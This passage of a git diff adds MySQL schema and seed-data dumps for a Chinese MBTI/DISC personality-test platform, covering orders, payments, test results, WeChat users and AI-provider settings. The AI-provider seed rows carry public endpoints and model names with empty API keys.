+) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_finance_records
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_finance_records`;
+CREATE TABLE `mbti_finance_records` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund',
+ `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)',
+ `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)',
+ `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)',
+ `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述',
+ `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_type`(`type`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_orders
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_orders`;
+CREATE TABLE `mbti_orders` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID',
+ `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号',
+ `userId` int(11) NOT NULL COMMENT '用户ID',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report',
+ `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)',
+ `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled',
+ `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式',
+ `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)',
+ `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_productType`(`productType`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_pricing_config
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_pricing_config`;
+CREATE TABLE `mbti_pricing_config` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID',
+ `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认',
+ `config` json NULL COMMENT '定价配置(JSON格式)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_questions
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_questions`;
+CREATE TABLE `mbti_questions` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID',
+ `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp',
+ `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容',
+ `options` json NULL COMMENT '选项(JSON格式)',
+ `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)',
+ `sort` int(11) NULL DEFAULT 0 COMMENT '排序',
+ `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_type`(`type`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_sort`(`sort`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_deletedAt`(`deletedAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_system_config
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_system_config`;
+CREATE TABLE `mbti_system_config` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID',
+ `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键',
+ `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版',
+ `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)',
+ `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_system_configs
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_system_configs`;
+CREATE TABLE `mbti_system_configs` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID',
+ `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键',
+ `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)',
+ `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `configKey`(`configKey`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_test_results
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_test_results`;
+CREATE TABLE `mbti_test_results` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID',
+ `userId` int(11) NOT NULL COMMENT '用户ID',
+ `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face',
+ `resultData` json NULL COMMENT '测试结果(JSON格式)',
+ `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情',
+ `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)',
+ `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是',
+ `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是',
+ `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)',
+ `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户',
+ `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_testType`(`testType`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_orderId`(`orderId`) USING BTREE,
+ INDEX `idx_isPaid`(`isPaid`) USING BTREE,
+ INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_upload_files
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_upload_files`;
+CREATE TABLE `mbti_upload_files` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID',
+ `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径',
+ `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL',
+ `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local',
+ `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5',
+ `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)',
+ `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型',
+ `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_user_profile
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_user_profile`;
+CREATE TABLE `mbti_user_profile` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID',
+ `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)',
+ `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)',
+ `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)',
+ `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数',
+ `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数',
+ `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数',
+ `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数',
+ `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数',
+ `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数',
+ `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)',
+ `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)',
+ `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai',
+ `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间',
+ `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID',
+ `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID',
+ `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID',
+ `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID',
+ `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间',
+ `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE,
+ INDEX `idx_enterprise`(`enterpriseId`) USING BTREE,
+ INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_users
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_users`;
+CREATE TABLE `mbti_users` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID',
+ `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名',
+ `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)',
+ `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号',
+ `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱',
+ `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型',
+ `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区',
+ `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业',
+ `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用',
+ `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)',
+ `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `username`(`username`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_role`(`role`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE,
+ INDEX `idx_deletedAt`(`deletedAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_wechat_users
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_wechat_users`;
+CREATE TABLE `mbti_wechat_users` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID',
+ `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid',
+ `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)',
+ `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥',
+ `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称',
+ `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL',
+ `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号',
+ `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女',
+ `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家',
+ `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份',
+ `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市',
+ `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用',
+ `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)',
+ `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)',
+ `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)',
+ `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `idx_openid`(`openid`) USING BTREE,
+ INDEX `idx_unionid`(`unionid`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic;
+
+SET FOREIGN_KEY_CHECKS = 1;
diff --git a/api/mbti_data.sql b/api/mbti_data.sql
new file mode 100644
index 0000000..ba5f872
--- /dev/null
+++ b/api/mbti_data.sql
@@ -0,0 +1,1238 @@
+/*
+ Navicat Premium Data Transfer
+
+ Source Server : kr_存客宝
+ Source Server Type : MySQL
+ Source Server Version : 50736
+ Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413
+ Source Schema : mbti
+
+ Target Server Type : MySQL
+ Target Server Version : 50736
+ File Encoding : 65001
+
+ Date: 12/03/2026 17:12:50
+*/
+
+SET NAMES utf8mb4;
+SET FOREIGN_KEY_CHECKS = 0;
+
+-- ----------------------------
+-- Table structure for mbti_activities
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_activities`;
+CREATE TABLE `mbti_activities` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID',
+ `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型',
+ `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述',
+ `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_type`(`type`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_ai_providers
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_ai_providers`;
+CREATE TABLE `mbti_ai_providers` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID',
+ `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等',
+ `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称',
+ `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用',
+ `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏',
+ `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)',
+ `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点',
+ `model` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型',
+ `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)',
+ `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数',
+ `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用',
+ `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值',
+ `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注',
+ `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接',
+ `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商',
+ `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询',
+ `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额',
+ `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD',
+ `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除',
+ `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE,
+ INDEX `idx_enabled`(`enabled`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_ai_providers
+-- ----------------------------
+INSERT INTO `mbti_ai_providers` VALUES (1, 'openai', 'OpenAI (GPT)', 0, 1, NULL, 'https://api.openai.com/v1', 'gpt-4.1-mini', '', 4096, 0, 10.00, '', 'https://developers.openai.com/api/docs', 0, 1, 100.00, 'USD', 1772068185, 1770882819, 1772443541, NULL, '[]');
+INSERT INTO `mbti_ai_providers` VALUES (2, 'anthropic', 'Anthropic (Claude)', 0, 0, NULL, 'https://api.anthropic.com/v1', 'claude-sonnet-4-20250514', NULL, 4096, 0, 10.00, NULL, 'https://console.anthropic.com/settings/keys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL);
+INSERT INTO `mbti_ai_providers` VALUES (3, 'deepseek', 'DeepSeek', 0, 0, NULL, 'https://api.deepseek.com/v1', 'deepseek-chat', NULL, 4096, 0, 10.00, NULL, 'https://platform.deepseek.com/api_keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL);
+INSERT INTO `mbti_ai_providers` VALUES (4, 'moonshot', 'Moonshot (Kimi)', 0, 0, NULL, 'https://api.moonshot.cn/v1', 'moonshot-v1-8k', NULL, 4096, 0, 10.00, NULL, 'https://platform.moonshot.cn/console/api-keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL);
+INSERT INTO `mbti_ai_providers` VALUES (5, 'groq', 'Groq', 0, 0, NULL, 'https://api.groq.com/openai/v1', 'llama3-8b-8192', '', 8192, 0, 0.00, '免费额度,无需余额监控', 'https://console.groq.com/keys', 1, 0, NULL, NULL, NULL, 1770882819, 1770882850, NULL, NULL);
+INSERT INTO `mbti_ai_providers` VALUES (6, 'coze', 'Coze (扣子)', 0, 0, NULL, 'https://api.coze.cn/v1', 'DeepSeek-V3-0324', '', 4096, 0, 10.00, '', 'https://www.coze.cn/open/api', 0, 0, NULL, NULL, NULL, 1770882819, 1771988128, NULL, '{\"bot_id\": \"7488186374479347731\", \"space_id\": \"7487098730056515619\"}');
+INSERT INTO `mbti_ai_providers` VALUES (7, 'qwen', '通义千问 (Qwen)', 0, 0, NULL, 'https://dashscope.aliyuncs.com/compatible-mode/v1', 'qwen-turbo', NULL, 4096, 0, 10.00, NULL, 'https://dashscope.console.aliyun.com/apiKey', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL);
+INSERT INTO `mbti_ai_providers` VALUES (8, 'zhipu', '智谱 (GLM)', 0, 0, NULL, 'https://open.bigmodel.cn/api/paas/v4', 'glm-4-flash', NULL, 4096, 0, 10.00, NULL, 'https://open.bigmodel.cn/usercenter/apikeys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL);
+INSERT INTO `mbti_ai_providers` VALUES (9, 'zhizengzeng', '智增增\r\n', 1, 1, NULL, 'https://api.zhizengzeng.com/v1', 'gpt-4.1', '', 4096, 0, 10.00, '', 'https://doc.zhizengzeng.com', 0, 1, NULL, NULL, NULL, 1770882819, 1773279905, NULL, '[]');
+
+-- ----------------------------
+-- Table structure for mbti_backup_records
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_backup_records`;
+CREATE TABLE `mbti_backup_records` (
